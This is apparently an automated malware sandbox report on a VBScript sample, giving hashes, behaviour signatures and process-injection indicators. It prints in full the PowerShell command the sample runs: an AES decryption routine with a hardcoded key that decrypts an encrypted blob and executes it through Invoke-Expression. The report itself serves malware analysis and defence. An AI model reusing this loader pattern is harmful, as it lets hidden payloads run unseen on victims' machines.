043ca2ac861326e01d02af9599b54c8a23b781dda3e9f3c31166885a1f67e401

General

Target

envifa.vbs
Size

159KB
MD5

5b0011526c3005e35e88002cfcf3dff8
SHA1

5b0b70c2857e84d0abe2b04b0593ccfc49395a8f
SHA256

043ca2ac861326e01d02af9599b54c8a23b781dda3e9f3c31166885a1f67e401
SHA512

4af5c688c4c971950724cd706d09d968973fc65f9b69bf5a969900771577b56799e33d3ca2dd0972ff78d06f4751d609711b19ee793c159189981ed07946d989
SSDEEP

3072:jk+jUIUfUPUgUgUgUgUgUgUgUgUgUgUgUgUgUgUgUgUVUPUdUgUgUgUgUgUgUgUo:XjUIUfUPUgUgUgUgUgUgUgUgUgUgUgUL

Score

1^/10

Malware Config

Signatures

Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1888 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1888 powershell.exe

pid	process
1888	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1888	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

WScript.exe

description	pid	process	target process
PID 2924 wrote to memory of 1888	2924	WScript.exe	powershell.exe
PID 2924 wrote to memory of 1888	2924	WScript.exe	powershell.exe
PID 2924 wrote to memory of 1888	2924	WScript.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\envifa.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2924

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command function Decrypt-AESEncryption{Param([String]$CBGNKODNPÇ,[String]$Keygfhfghfgiy)$OGjnLfnOaç = New-Object System.Security.Cryptography.AesManaged;$OGjnLfnOaç.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OGjnLfnOaç.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$OGjnLfnOaç.BlockSize = 128;$OGjnLfnOaç.KeySize = 256;$OGjnLfnOaç.Key = (New-Object System.Security.Cryptography.SHA256Managed).ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Keygfhfghfgiy));$BxwZvbgNLo = [System.Convert]::FromBase64String($CBGNKODNPÇ);$OGjnLfnOaç.IV = $BxwZvbgNLo[0..15];$decryptor = $OGjnLfnOaç.CreateDecryptor();$geLJgUoUQL = $decryptor.TransformFinalBlock($BxwZvbgNLo, 16, $BxwZvbgNLo.Length - 16);$OGjnLfnOaç.Dispose();return [System.Text.Encoding]::UTF8.GetString($geLJgUoUQL).Trim([char]0)}$qROuE = '58417081275505453806';$MqDDxKjJmA = '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';$GmtBWLkcKU = Decrypt-AESEncryption -CBGNKODNPÇ $MqDDxKjJmA -Key $qROuE;Invoke-Expression $GmtBWLkcKU
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1888

MITRE ATT&CK Matrix

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Downloads

memory/1888-4-0x000000001B710000-0x000000001B9F2000-memory.dmp

Filesize
2.9MB

Download
memory/1888-5-0x0000000001E70000-0x0000000001E78000-memory.dmp

Filesize
32KB

Download
memory/1888-6-0x000007FEF5B90000-0x000007FEF652D000-memory.dmp

Filesize
9.6MB

Download
memory/1888-7-0x0000000002930000-0x00000000029B0000-memory.dmp

Filesize
512KB

Download
memory/1888-8-0x000007FEF5B90000-0x000007FEF652D000-memory.dmp

Filesize
9.6MB

Download
memory/1888-10-0x0000000002930000-0x00000000029B0000-memory.dmp

Filesize
512KB

Download
memory/1888-9-0x0000000002930000-0x00000000029B0000-memory.dmp

Filesize
512KB

Download
memory/1888-11-0x0000000002930000-0x00000000029B0000-memory.dmp

Filesize
512KB

Download
memory/1888-12-0x000007FEF5B90000-0x000007FEF652D000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix

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Downloads